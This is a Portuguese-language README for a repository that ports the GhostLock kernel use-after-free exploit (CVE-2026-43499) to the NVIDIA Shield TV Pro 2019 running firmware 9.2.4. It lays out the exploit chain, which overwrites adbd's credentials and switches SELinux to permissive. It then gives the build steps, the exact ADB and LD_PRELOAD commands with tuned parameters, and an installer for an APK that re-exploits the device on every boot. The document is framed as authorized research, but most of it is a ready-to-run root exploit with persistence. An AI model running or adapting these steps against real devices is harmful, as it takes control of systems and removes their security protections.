GhostLock para NVIDIA Shield TV Pro 9.2.4

Porte arm64 validado do use-after-free de futex PI do GhostLock (CVE-2026-43499) para o NVIDIA Shield TV Pro 2019 (mdarcy) executando Shield Experience 9.2.4. O payload altera as credenciais do daemon ADB ativo, fazendo com que novos shells ADB tenham UID 0 sem desbloqueio de bootloader, apagamento de userdata, instalação de su ou modificação da partição verificada.

Este é um exploit de kernel específico de build para pesquisa de segurança autorizada. Uma incompatibilidade ou corrida perdida pode causar pânico no kernel. Não o execute em outra fingerprint, kernel, dispositivo ou revisão de hardware.

Alvo validado

Campo	Valor obrigatório
Produto	NVIDIA Shield TV Pro 2019, `mdarcy`
Fingerprint	`NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys`
Kernel	`4.9.141-tegra-gb6e5605a`
Nível de patch do Android	`2026-01-05`
Base do kernel	`0xffffff8008080000` (offset desabilitado)

O porte foi validado em um dispositivo bloqueado com Verified Boot verde e dm-verity em modo enforcing. Esses mecanismos permanecem intactos porque o exploit altera apenas o estado vivo do kernel.

Resultado e duração

Após uma execução bem-sucedida, uma nova conexão reporta UID/GID 0 tanto para adbd quanto para seu shell filho, capacidades completas até a capacidade 37, seccomp desabilitado e SELinux permissivo. O root sobrevive a desconexões do cliente ADB. Ele não sobrevive a um reinício do adbd nem a um reboot do dispositivo por conta própria.

Para persistência prática após reboot sem modificar partições verificadas, o repositório inclui um APK de userdata. Seu receiver não exportado de BOOT_COMPLETED inicia um serviço em primeiro plano de curta duração, que executa o exploit com hash fixado uma vez por boot a partir de um UID de app sem privilégios e para quando o runner sai. Nenhum host externo é necessário após a instalação. Um watchdog externo em Podman permanece disponível como fallback de recuperação. Consulte persistence/README.md e watchdog/README.md.

Isto é re-exploração autônoma, não um patch estático de firmware: cada boot tem um curto intervalo em que adbd ainda possui suas credenciais originais. Fazer o adbd iniciar como root antes da inicialização do Android exigiria alterar a cadeia de boot verificada, o que está fora deste design bloqueado e sem wipe.

Cadeia do exploit

Acionar o caminho vulnerável de rollback de futex PI e reter um rt_mutex_waiter obsoleto em uma pilha do kernel.
Marcar a pilha recuperada com MCAST_BLOCK_SOURCE e redirecionar a operação da árvore rt-mutex.
Recuperar uma página de slab order-2 liberada de mm_struct com um payload skb moldado.
Redirecionar ashmem_misc.fops para uma tabela falsa apoiada por handlers legados de leitura/gravação do configfs.
Percorrer a lista de tarefas, localizar o PID solicitado do adbd e verificar seu objeto completo de credenciais.
Realizar uma gravação limitada sobre IDs, securebits e palavras de capacidade; tornar o SELinux permissivo; então restaurar as operações do ashmem e o ponteiro do boot-ID.

O estágio herdado de leitura/gravação física do pipe-buffer não é usado. Observações detalhadas do alvo e offsets verificados estão em PORT_STATUS.md.

Build

O compilador é o Android NDK r29 (aarch64-linux-android30-clang). Compile diretamente com um NDK Linux instalado:

cd exploit
make NDK=/opt/android-ndk-r29

Ou compile a imagem Podman fornecida, que baixa o arquivo Linux oficial r29 e verifica seu SHA-1 publicado antes da extração:

podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
  -v "$PWD:/src:Z" \
  -w /src/exploit \
  ghostlock-android:ndk-r29 make -B

Saída:

exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761

O build do Shield exclui intencionalmente o daemon su embutido e o payload de wallpaper do projeto de referência.

Execução

Conecte-se via ADB de rede autorizado, envie o asset de release ou o build local e entre em um shell ADB:

adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
  exploit/build/preload-mdarcy-9.2.4.so \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
  /data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell

Execute isto dentro do shell do dispositivo:

GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true

Desconecte e abra um novo transporte para verificação:

adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
  'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'

O payload se recusa a reagir a partir de um shell ADB já com UID 0, a menos que GHOSTLOCK_FORCE_ROOT_TRIGGER=1 seja fornecido deliberadamente. Não force; o caminho de agendamento privilegiado tem comportamento de PI diferente e pode causar pânico.

Persistência no dispositivo

Baixe o APK de release assinado para persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk, depois instale e arme-o a partir de um host ADB PowerShell autorizado:

./persistence/install.ps1 `
  -Target SHIELD_ADDRESS:5555 `
  -AdbPath C:/path/to/platform-tools/adb.exe

O instalador altera apenas a userdata e não reinicia. No próximo BOOT_COMPLETED, o app valida a fingerprint exata, o kernel e o hash embutido do payload, registra sua tentativa e invoca o GhostLock a partir do UID normal do app. Um bloqueio de arquivo, estado de uma tentativa por boot e um cooldown de 15 minutos entre boots evitam tentativas duplicadas ou loops de reboot. Ele não instala nenhum binário su. O Android mostra uma notificação de baixa prioridade Restoring ADB root apenas enquanto o runner nativo está ativo; o waiter a remove quando o processo sai. Consulte persistence/README.md para detalhes de build, assinatura, logs, verificação, recuperação e desinstalação.

O APK final foi validado com o watchdog externo parado: a contagem de boot 134 primeiro expôs adbd original com UID-2000/enforcing, e o próximo transporte novo tinha UID/GID 0 com a máscara completa de capacidades 0x3fffffffff, seccomp desabilitado e SELinux permissivo. O serviço e a notificação se limparam sozinhos.

Logs e recuperação

Diagnósticos de execução manual são gravados sincronamente em /sdcard/Download/log_<timestamp>.txt, com fallback para /data/local/tmp. O app de boot redireciona a saída do runner e do payload para seu files/boot.log privado, legível com run-as com.cyberbalsa.ghostlockboot. Se a corrida causar pânico no kernel, o estado pré-acionamento impede outra tentativa naquela contagem de boot e o cooldown de 15 minutos persiste através do reboot.

Mapa do repositório

exploit/src/: acionamento, recuperação, leitura/gravação arbitrária e patch limitado de credenciais do adbd.
exploit/targets/shield-mdarcy-9.2.4/: layout exato do alvo específico do build.
analysis/: helpers de extração de símbolos e layout do kernel.
persistence/: APK de boot no dispositivo, runner nativo e instalador.
watchdog/: fallback de recuperação no host com hash fixado.
report.md: análise original do porte de referência OPPO retida para proveniência.

Créditos e licença

Este porte deriva da estrutura de pesquisa e exploit GhostLock publicada por NebuSec e do porte de referência OPPO PCKM00 por yijiacloud. O KernelSnitch está embutido sob seus termos upstream.

Apache-2.0; consulte LICENSE.

Mais Populares

GhostLock-NVIDIA-Shield-9.2.4